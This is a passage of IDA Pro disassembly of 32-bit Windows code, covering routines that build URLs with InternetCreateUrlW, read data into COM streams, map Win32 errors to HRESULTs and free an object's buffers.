; ---------------------------------------------------------------------------


loc_69B7AD19:				; DATA XREF: .text:69B7AE84o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B7AD1D:				; DATA XREF: .text:69B7AE88o
		mov	esp, [ebp-18h]
		mov	byte_69B9B681, 1
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]
		xor	esi, esi


loc_69B7AD30:				; CODE XREF: sub_69B7AB78+164j
					; sub_69B7AB78+19Fj
		cmp	byte_69B9B682, 0
		jnz	short loc_69B7AD87
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebx+88h]
		push	dword ptr [ebx+84h]
		mov	edi, offset a?@	; "%/:?@\\"
		push	edi
		call	sub_69B7AA79
		test	eax, eax
		jnz	loc_69B7AE09
		mov	eax, [ebx+90h]
		cmp	eax, esi
		jz	short loc_69B7AD87
		lea	ecx, [ebp-40h]
		push	ecx
		lea	ecx, [ebp-44h]
		push	ecx
		push	eax
		push	dword ptr [ebx+8Ch]
		push	edi
		call	sub_69B7AA79
		test	eax, eax
		jnz	loc_69B7AE09


loc_69B7AD87:				; CODE XREF: sub_69B7AB78+157j
					; sub_69B7AB78+1BFj ...
		lea	eax, [ebp-6Ch]
		push	eax		; lpdwUrlLength
		push	esi		; lpszUrl
		push	esi		; dwFlags
		lea	eax, [ebp-68h]
		push	eax		; lpUrlComponents
		call	InternetCreateUrlW	; InternetCreateUrlW
		test	eax, eax
		jnz	short loc_69B7ADDF
		mov	edi, ds:GetLastError


loc_69B7ADA1:				; CODE XREF: sub_69B7AB78+265j
		call	edi ; GetLastError
		cmp	eax, 7Ah
		jnz	loc_69B7AE62
		push	dword ptr [ebp-70h]
		call	sub_69B1B2B7
		shr	dword ptr [ebp-6Ch], 1
		mov	eax, [ebp-6Ch]
		add	eax, eax
		push	eax
		call	sub_69B11E44
		mov	[ebp-70h], eax
		cmp	eax, esi
		jz	short loc_69B7AE09
		lea	eax, [ebp-6Ch]
		push	eax		; lpdwUrlLength
		push	dword ptr [ebp-70h] ; lpszUrl
		push	esi		; dwFlags
		lea	eax, [ebp-68h]
		push	eax		; lpUrlComponents
		call	InternetCreateUrlW	; InternetCreateUrlW
		test	eax, eax
		jz	short loc_69B7ADA1


loc_69B7ADDF:				; CODE XREF: sub_69B7AB78+221j
		lea	edi, [ebx+94h]
		push	dword ptr [edi]
		call	sub_69B1B2B7
		mov	[edi], esi
		lea	eax, [ebp-6Ch]
		push	eax
		push	edi
		push	dword ptr [ebp-6Ch]
		push	dword ptr [ebp-70h]
		push	offset asc_69B270B0 ; "#"
		call	sub_69B7AA79
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_69B7AE0E


loc_69B7AE09:				; CODE XREF: sub_69B7AB78+BAj
					; sub_69B7AB78+100j ...
		mov	edi, 8007000Eh


loc_69B7AE0E:				; CODE XREF: sub_69B7AB78+28Fj
					; sub_69B7AB78+2F4j ...
		mov	eax, [ebp-4Ch]
		cmp	eax, [ebx+84h]
		jz	short loc_69B7AE1F
		push	eax
		call	sub_69B1B2B7


loc_69B7AE1F:				; CODE XREF: sub_69B7AB78+29Fj
		mov	eax, [ebp-44h]
		cmp	eax, [ebx+8Ch]
		jz	short loc_69B7AE30
		push	eax
		call	sub_69B1B2B7


loc_69B7AE30:				; CODE XREF: sub_69B7AB78+2B0j
		mov	eax, [ebp-70h]
		cmp	eax, [ebx+94h]
		jz	short loc_69B7AE41
		push	eax
		call	sub_69B1B2B7


loc_69B7AE41:				; CODE XREF: sub_69B7AB78+2C1j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		mov	eax, edi


loc_69B7AE54:				; CODE XREF: sub_69B7AB78+25j
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------


loc_69B7AE5C:				; CODE XREF: sub_69B7AB78+75j
		mov	edi, ds:GetLastError


loc_69B7AE62:				; CODE XREF: sub_69B7AB78+22Ej
		call	edi ; GetLastError
		test	eax, eax
		jg	short loc_69B7AE6E
		call	edi ; GetLastError
		mov	edi, eax
		jmp	short loc_69B7AE0E
; ---------------------------------------------------------------------------


loc_69B7AE6E:				; CODE XREF: sub_69B7AB78+2EEj
		call	edi ; GetLastError
		mov	edi, eax
		and	edi, 0FFFFh
		or	edi, 80070000h
		jmp	short loc_69B7AE0E
sub_69B7AB78	endp

; ---------------------------------------------------------------------------
dword_69B7AE80	dd 0FFFFFFFFh			dd offset loc_69B7AD19
		dd offset loc_69B7AD1D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7AE8C	proc near		; CODE XREF: sub_69B7BA94+F4p
					; sub_69B7D8C5+23Cp

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jnz	short loc_69B7AEAC
		mov	eax, 80004005h
		jmp	loc_69B7AFAB
; ---------------------------------------------------------------------------


loc_69B7AEAC:				; CODE XREF: sub_69B7AE8C+14j
		push	esi
		push	edi
		push	ebx
		push	eax
		lea	ecx, [ebp+var_20]
		call	sub_69B1A8C7
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		xor	eax, eax
		cmp	edi, eax
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], ebx
		jz	loc_69B7AF84
		cmp	[ebp+arg_8], eax
		jz	loc_69B7AF84
		mov	ecx, [ebp+arg_4]
		mov	[edi], eax
		mov	[ecx], eax


loc_69B7AEE0:				; CODE XREF: sub_69B7AE8C+E0j
		lea	eax, [ebx+200h]
		cmp	eax, [ebp+var_4]
		jbe	short loc_69B7AF43
		test	ebx, ebx
		jz	short loc_69B7AEF7
		lea	eax, [ebx+ebx]
		mov	[ebp+var_4], eax
		jmp	short loc_69B7AEFE
; ---------------------------------------------------------------------------


loc_69B7AEF7:				; CODE XREF: sub_69B7AE8C+61j
		mov	[ebp+var_4], 1000h


loc_69B7AEFE:				; CODE XREF: sub_69B7AE8C+69j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_10], edi
		jz	short loc_69B7AF7B
		test	ebx, ebx
		jz	short loc_69B7AF28
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_8]


loc_69B7AF28:				; CODE XREF: sub_69B7AE8C+87j
		mov	eax, [ebp+var_4]
		push	esi
		mov	[ebp+var_4], eax
		call	sub_69B1B2B7
		mov	eax, [ebp+var_10]
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	byte ptr [ebx+eax], 0
		mov	esi, eax


loc_69B7AF43:				; CODE XREF: sub_69B7AE8C+5Dj
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		mov	edx, [ebp+var_4]
		sub	edx, ebx
		push	edx
		lea	edx, [ebx+esi]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		mov	[ebp+var_10], eax
		jl	short loc_69B7AF8B
		add	ebx, [ebp+var_C]
		mov	byte ptr [ebx+esi], 0
		cmp	[ebp+var_C], 0
		jnz	loc_69B7AEE0
		mov	eax, [ebp+arg_4]
		mov	[edi], esi
		mov	[eax], ebx
		jmp	short loc_69B7AF95
; ---------------------------------------------------------------------------


loc_69B7AF7B:				; CODE XREF: sub_69B7AE8C+83j
		mov	[ebp+var_10], 8007000Eh
		jmp	short loc_69B7AF8B
; ---------------------------------------------------------------------------


loc_69B7AF84:				; CODE XREF: sub_69B7AE8C+3Ej
					; sub_69B7AE8C+47j
		mov	[ebp+var_10], 80070057h


loc_69B7AF8B:				; CODE XREF: sub_69B7AE8C+D3j
					; sub_69B7AE8C+F6j
		test	esi, esi
		jz	short loc_69B7AF95
		push	esi
		call	sub_69B1B2B7


loc_69B7AF95:				; CODE XREF: sub_69B7AE8C+EDj
					; sub_69B7AE8C+101j
		lea	ecx, [ebp+var_20]
		call	sub_69B1976C
		push	[ebp+var_14]
		call	dword_69B92944
		mov	eax, [ebp+var_10]
		pop	edi
		pop	esi


loc_69B7AFAB:				; CODE XREF: sub_69B7AE8C+1Bj
		pop	ebx
		leave
		retn	0Ch
sub_69B7AE8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7AFB0	proc near		; DATA XREF: .text:69B145FCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		add	esi, 0B8h
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B7AFC7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7AFC7:				; CODE XREF: sub_69B7AFB0+Fj
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	[esi], eax
		pop	esi
		jz	short loc_69B7AFD8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B7AFD8:				; CODE XREF: sub_69B7AFB0+20j
		xor	eax, eax
		retn	8
sub_69B7AFB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7AFDD(LPSTREAM *ppstm)

sub_69B7AFDD	proc near		; CODE XREF: sub_69B7BA94+76p
					; sub_69B7BC1C+4Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
ppstm		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+ppstm]
		push	edi
		mov	ebx, ecx
		xor	ecx, ecx
		xor	eax, eax
		cmp	esi, ecx
		lea	edi, [ebp+var_4]
		mov	[ebp+var_8], ecx
		stosd
		jnz	short loc_69B7B000
		mov	edi, 80070057h
		jmp	short loc_69B7B05C
; ---------------------------------------------------------------------------


loc_69B7B000:				; CODE XREF: sub_69B7AFDD+1Aj
		push	esi		; ppstm
		push	1		; fDeleteOnRelease
		push	ecx		; hGlobal
		mov	[esi], ecx
		call	ds:CreateStreamOnHGlobal
		test	eax, eax
		jge	short loc_69B7B017
		mov	edi, 8007000Eh
		jmp	short loc_69B7B04D
; ---------------------------------------------------------------------------


loc_69B7B017:				; CODE XREF: sub_69B7AFDD+31j
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+ppstm]
		push	edx
		push	dword ptr [ebx+0A8h]
		push	dword ptr [ebx+0A0h]
		push	eax
		call	dword ptr [ecx+10h]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B7B04D
		mov	eax, [esi]
		mov	ecx, [eax]
		push	0
		push	0
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	eax
		call	dword ptr [ecx+14h]
		mov	edi, eax
		test	edi, edi
		jge	short loc_69B7B05C


loc_69B7B04D:				; CODE XREF: sub_69B7AFDD+38j
					; sub_69B7AFDD+56j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B7B059
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B059:				; CODE XREF: sub_69B7AFDD+74j
		and	dword ptr [esi], 0


loc_69B7B05C:				; CODE XREF: sub_69B7AFDD+21j
					; sub_69B7AFDD+6Ej
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B7AFDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7B065	proc near		; DATA XREF: .text:69B2A638o

var_1028	= byte ptr -1028h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1028h
		call	sub_69B1B09C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		call	dword_69B92948
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jnz	short loc_69B7B097
		mov	eax, 80004005h
		jmp	loc_69B7B22E
; ---------------------------------------------------------------------------


loc_69B7B097:				; CODE XREF: sub_69B7B065+26j
		push	ebx
		push	edi
		push	esi
		push	eax
		lea	ecx, [ebp+var_28]
		call	sub_69B1A8C7
		mov	ebx, [ebp+arg_0]
		lea	edi, [ebx-24h]
		mov	eax, [edi]
		push	edi
		mov	[ebp+var_6], 1
		mov	[ebp+var_5], 0
		mov	[ebp+var_10], edi
		call	dword ptr [eax+4]
		cmp	dword ptr [ebx+18h], 3
		jge	short loc_69B7B0C9
		push	3
		mov	ecx, edi
		call	sub_69B7AA25


loc_69B7B0C9:				; CODE XREF: sub_69B7B065+59j
		cmp	byte ptr [ebx+3Ch], 0
		jnz	loc_69B7B213


loc_69B7B0D3:				; CODE XREF: sub_69B7B065+197j
		mov	edx, [ebx+84h]
		mov	ecx, [ebx+80h]
		and	[ebp+var_C], 0
		sub	ecx, edx
		jnz	short loc_69B7B0F4
		mov	ecx, 1000h
		lea	eax, [ebp+var_1028]
		jmp	short loc_69B7B0FD
; ---------------------------------------------------------------------------


loc_69B7B0F4:				; CODE XREF: sub_69B7B065+80j
		mov	eax, [ebx+7Ch]
		mov	[ebp+var_6], 0
		add	eax, edx


loc_69B7B0FD:				; CODE XREF: sub_69B7B065+8Dj
		lea	esi, [ebp+var_C]
		push	esi
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+20h]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [edx+24h]
		mov	ecx, [ebp+var_C]
		test	ecx, ecx
		jnz	short loc_69B7B126
		cmp	eax, 1
		jnz	loc_69B7B1A3
		mov	[ebx+3Ch], al
		jmp	short loc_69B7B1A3
; ---------------------------------------------------------------------------


loc_69B7B126:				; CODE XREF: sub_69B7B065+B1j
		cmp	[ebp+var_6], 0
		jz	short loc_69B7B1A3
		mov	eax, [ebx+84h]
		add	eax, ecx
		cmp	eax, [ebx+80h]
		mov	[ebp+var_14], eax
		jbe	short loc_69B7B180
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_1C], edi
		jz	loc_69B7B23E
		mov	ecx, [ebx+84h]
		mov	esi, [ebx+7Ch]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		and	ecx, 3
		rep movsb
		push	dword ptr [ebx+7Ch]
		mov	[ebx+80h], eax
		call	sub_69B1B2B7
		mov	eax, [ebp+var_1C]
		mov	[ebx+7Ch], eax


loc_69B7B180:				; CODE XREF: sub_69B7B065+D8j
		mov	ecx, [ebp+var_C]
		mov	edi, [ebx+7Ch]
		add	edi, [ebx+84h]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_1028]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+var_10]


loc_69B7B1A3:				; CODE XREF: sub_69B7B065+B6j
					; sub_69B7B065+BFj ...
		cmp	byte ptr [ebx+8Dh], 0
		jz	short loc_69B7B1F1
		mov	eax, [ebx+9Ch]
		test	eax, eax
		jz	short loc_69B7B1F1
		cmp	[ebp+var_5], 0
		jnz	short loc_69B7B1F1
		mov	ecx, [eax]
		xor	edx, edx
		cmp	[ebx+3Ch], dl
		setnz	dl
		push	edx
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+44h]
		test	eax, eax
		jge	short loc_69B7B1D9
		mov	[ebp+var_5], 1


loc_69B7B1D9:				; CODE XREF: sub_69B7B065+16Ej
		mov	eax, [ebx+9Ch]
		test	eax, eax
		jz	short loc_69B7B1F1
		cmp	[ebp+var_5], 0
		jnz	short loc_69B7B1F1
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+60h]


loc_69B7B1F1:				; CODE XREF: sub_69B7B065+145j
					; sub_69B7B065+14Fj ...
		mov	eax, [ebp+var_C]
		add	[ebx+84h], eax
		test	eax, eax
		jnz	loc_69B7B0D3
		cmp	dword ptr [ebx+18h], 4
		jge	short loc_69B7B211
		push	4
		mov	ecx, edi
		call	sub_69B7AA25


loc_69B7B211:				; CODE XREF: sub_69B7B065+1A1j
		xor	esi, esi


loc_69B7B213:				; CODE XREF: sub_69B7B065+68j
					; sub_69B7B065+1E1j
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]
		lea	ecx, [ebp+var_28]
		call	sub_69B1976C
		push	[ebp+var_18]
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	ebx


loc_69B7B22E:				; CODE XREF: sub_69B7B065+2Dj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_69B1B9F6
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_69B7B23E:				; CODE XREF: sub_69B7B065+E7j
		mov	edi, [ebp+var_10]
		mov	esi, 8007000Eh
		jmp	short loc_69B7B213
sub_69B7B065	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B7B248(int, int, LPCWSTR lpszUrl)

sub_69B7B248	proc near		; DATA XREF: .text:69B2A634o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
lpszUrl		= dword	ptr  0Ch

		cmp	[esp+arg_4], 3
		jnz	short loc_69B7B27A
		push	esi
		mov	esi, [esp+4+arg_0]
		push	0		; int
		push	dword ptr [esi+70h] ; int
		push	[esp+0Ch+lpszUrl] ; lpszUrl
		call	sub_69B39C17
		test	eax, eax
		jge	short loc_69B7B279
		mov	[esi+34h], eax
		mov	esi, [esi+20h]
		test	esi, esi
		jz	short loc_69B7B279
		mov	ecx, [esi]
		push	0
		push	eax
		push	esi
		call	dword ptr [ecx+14h]


loc_69B7B279:				; CODE XREF: sub_69B7B248+1Cj
					; sub_69B7B248+26j
		pop	esi


loc_69B7B27A:				; CODE XREF: sub_69B7B248+5j
		xor	eax, eax
		retn	0Ch
sub_69B7B248	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B27F	proc near		; DATA XREF: .text:69B2A63Co
		push	20h
		push	offset dword_69B7B3A8
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		lea	edi, [esi-24h]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		mov	eax, [esi+20h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B7B2D1
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [esi+20h]
		cmp	eax, ebx
		jz	short loc_69B7B2B4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B2B4:				; CODE XREF: sub_69B7B27F+2Dj
		mov	[esi+20h], ebx
		cmp	[esi+34h], ebx
		jnz	short loc_69B7B2C2
		mov	eax, [ebp+0Ch]
		mov	[esi+34h], eax


loc_69B7B2C2:				; CODE XREF: sub_69B7B27F+3Bj
		mov	eax, [ebp+10h]
		mov	[esi+38h], eax
		push	5
		mov	ecx, edi
		call	sub_69B7AA25


loc_69B7B2D1:				; CODE XREF: sub_69B7B27F+1Fj
		mov	eax, [esi+9Ch]
		cmp	eax, ebx
		jz	loc_69B7B392
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+64h]
		cmp	eax, 3
		jz	loc_69B7B392
		cmp	eax, 4
		jz	loc_69B7B392
		cmp	[esi+34h], ebx
		jge	loc_69B7B384
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B7B317
		mov	eax, 80004005h
		jmp	loc_69B7B39D
; ---------------------------------------------------------------------------


loc_69B7B317:				; CODE XREF: sub_69B7B27F+8Cj
		push	ebx
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], ebx
		push	ebx
		push	dword ptr [esi+34h]
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp-2Ch], edi
		mov	ecx, [edi+0Ch]
		mov	[ebp-30h], ecx
		mov	eax, [esi+9Ch]
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+14h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+30h]
		jmp	short loc_69B7B36D
; ---------------------------------------------------------------------------


loc_69B7B350:				; DATA XREF: .text:69B7B3ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7B359:				; DATA XREF: .text:69B7B3B0o
		mov	esp, [ebp-18h]
		mov	esi, [ebp+8]
		mov	eax, [esi+9Ch]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+14h]


loc_69B7B36D:				; CODE XREF: sub_69B7B27F+CFj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		jmp	short loc_69B7B392
; ---------------------------------------------------------------------------


loc_69B7B384:				; CODE XREF: sub_69B7B27F+7Bj
		mov	eax, [esi+9Ch]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+60h]


loc_69B7B392:				; CODE XREF: sub_69B7B27F+5Aj
					; sub_69B7B27F+69j ...
		lea	eax, [esi-24h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		xor	eax, eax


loc_69B7B39D:				; CODE XREF: sub_69B7B27F+93j
		call	sub_69B1853C
		retn	10h
sub_69B7B27F	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B7B3A8	dd 0FFFFFFFFh			dd offset loc_69B7B350
		dd offset loc_69B7B359

; =============== S U B	R O U T	I N E =======================================



sub_69B7B3B4	proc near		; DATA XREF: .text:69B2A630o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+20h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		retn	8
sub_69B7B3B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B3C8	proc near		; CODE XREF: sub_69B7B838+53p
					; sub_69B7B899+36p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jge	short locret_69B7B40A
		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_69B7B409
		push	esi
		call	sub_69B1D411
		test	eax, eax
		jz	short loc_69B7B400
		test	esi, esi
		jle	short loc_69B7B3F2
		and	esi, 0FFFFh
		or	esi, 80070000h


loc_69B7B3F2:				; CODE XREF: sub_69B7B3C8+1Cj
		push	eax
		push	esi
		call	sub_69B1D342
		mov	ecx, eax
		call	sub_69B2E875


loc_69B7B400:				; CODE XREF: sub_69B7B3C8+18j
		push	[esp+4+arg_0]
		call	sub_69B2E8B8


loc_69B7B409:				; CODE XREF: sub_69B7B3C8+Ej
		pop	esi

locret_69B7B40A:			; CODE XREF: sub_69B7B3C8+5j
		retn	8
sub_69B7B3C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B40D	proc near		; CODE XREF: sub_69B7B446+4p
					; sub_69B7B4AF+7Ap ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		mov	byte ptr [esi+14h], 0
		jz	short loc_69B7B423
		push	eax
		call	sub_69B1B2B7
		and	dword ptr [esi], 0


loc_69B7B423:				; CODE XREF: sub_69B7B40D+Bj
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B7B434
		push	eax
		call	sub_69B1B2B7
		and	dword ptr [esi+10h], 0


loc_69B7B434:				; CODE XREF: sub_69B7B40D+1Bj
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B7B440
		call	sub_69B1C27E


loc_69B7B440:				; CODE XREF: sub_69B7B40D+2Cj
		and	dword ptr [esi+8], 0
		pop	esi
		retn
sub_69B7B40D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B7B446(LPCWSTR lpString)

sub_69B7B446	proc near		; CODE XREF: sub_69B7C60C+B7p
					; sub_69B7C89C+51p

lpString	= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B7B40D
		mov	edi, [esp+8+lpString]
		test	edi, edi
		jz	short loc_69B7B472
		push	edi		; lpString
		call	ds:lstrlenW	; lstrlenW
		test	eax, eax
		jz	short loc_69B7B472
		lea	eax, [eax+eax+2]
		push	eax
		call	sub_69B11E44
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B7B476


loc_69B7B472:				; CODE XREF: sub_69B7B446+Fj
					; sub_69B7B446+1Aj
		xor	al, al
		jmp	short loc_69B7B485
; ---------------------------------------------------------------------------


loc_69B7B476:				; CODE XREF: sub_69B7B446+2Aj
		push	edi
		push	eax
		call	sub_69B84AF5
		pop	ecx
		pop	ecx
		mov	byte ptr [esi+14h], 1
		mov	al, 1


loc_69B7B485:				; CODE XREF: sub_69B7B446+2Ej
		pop	edi
		pop	esi
		retn	4
sub_69B7B446	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B48A	proc near		; CODE XREF: sub_69B7BC9E+BCp
					; sub_69B7BDC2+41p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		shr	eax, 1
		cmp	eax, 7FFFFFFFh
		jbe	short loc_69B7B49E
		mov	eax, 80070057h
		jmp	short locret_69B7B4AC
; ---------------------------------------------------------------------------


loc_69B7B49E:				; CODE XREF: sub_69B7B48A+Bj
		push	[esp+arg_8]
		push	eax
		push	[esp+8+arg_0]
		call	sub_69B7A7C4

locret_69B7B4AC:			; CODE XREF: sub_69B7B48A+12j
		retn	0Ch
sub_69B7B48A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7B4AF	proc near		; CODE XREF: sub_69B7B7FD+30p
					; sub_69B7C228+16p ...
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+44h]
		cmp	eax, ebx
		mov	[esi+3Ch], ebx
		mov	[esi+50h], ebx
		mov	[esi+40h], bl
		mov	[esi+54h], ebx
		mov	[esi+58h], ebx
		mov	[esi+5Ch], ebx
		mov	byte ptr [esi+0B2h], 1
		mov	[esi+60h], bl
		mov	[esi+9Ch], ebx
		mov	[esi+0A8h], ebx
		mov	[esi+0B0h], bl
		mov	[esi+0B1h], bl
		jz	short loc_69B7B4F6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B4F6:				; CODE XREF: sub_69B7B4AF+3Fj
		mov	eax, [esi+48h]
		cmp	eax, ebx
		mov	[esi+44h], ebx
		jz	short loc_69B7B506
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B506:				; CODE XREF: sub_69B7B4AF+4Fj
		mov	eax, [esi+4Ch]
		cmp	eax, ebx
		mov	[esi+48h], ebx
		jz	short loc_69B7B516
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7B516:				; CODE XREF: sub_69B7B4AF+5Fj
		mov	ecx, [esi+64h]
		cmp	ecx, ebx
		mov	[esi+4Ch], ebx
		jz	short loc_69B7B525
		call	sub_69B1C27E


loc_69B7B525:				; CODE XREF: sub_69B7B4AF+6Fj
		push	edi
		lea	ecx, [esi+68h]
		call	sub_69B7B40D
		lea	edi, [esi+80h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B542
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx


loc_69B7B542:				; CODE XREF: sub_69B7B4AF+89j
		lea	edi, [esi+84h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B55C
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx
		mov	[esi+88h], ebx


loc_69B7B55C:				; CODE XREF: sub_69B7B4AF+9Dj
		lea	edi, [esi+8Ch]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B576
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx
		mov	[esi+90h], ebx


loc_69B7B576:				; CODE XREF: sub_69B7B4AF+B7j
		lea	edi, [esi+0ACh]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B58A
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx


loc_69B7B58A:				; CODE XREF: sub_69B7B4AF+D1j
		lea	edi, [esi+94h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B59E
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx


loc_69B7B59E:				; CODE XREF: sub_69B7B4AF+E5j
		lea	edi, [esi+98h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B5B2
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx


loc_69B7B5B2:				; CODE XREF: sub_69B7B4AF+F9j
		lea	edi, [esi+0A0h]
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_69B7B5CC
		push	eax
		call	sub_69B1B2B7
		mov	[edi], ebx
		mov	[esi+0A4h], ebx


loc_69B7B5CC:				; CODE XREF: sub_69B7B4AF+10Dj
		lea	edi, [esi+0B8h]
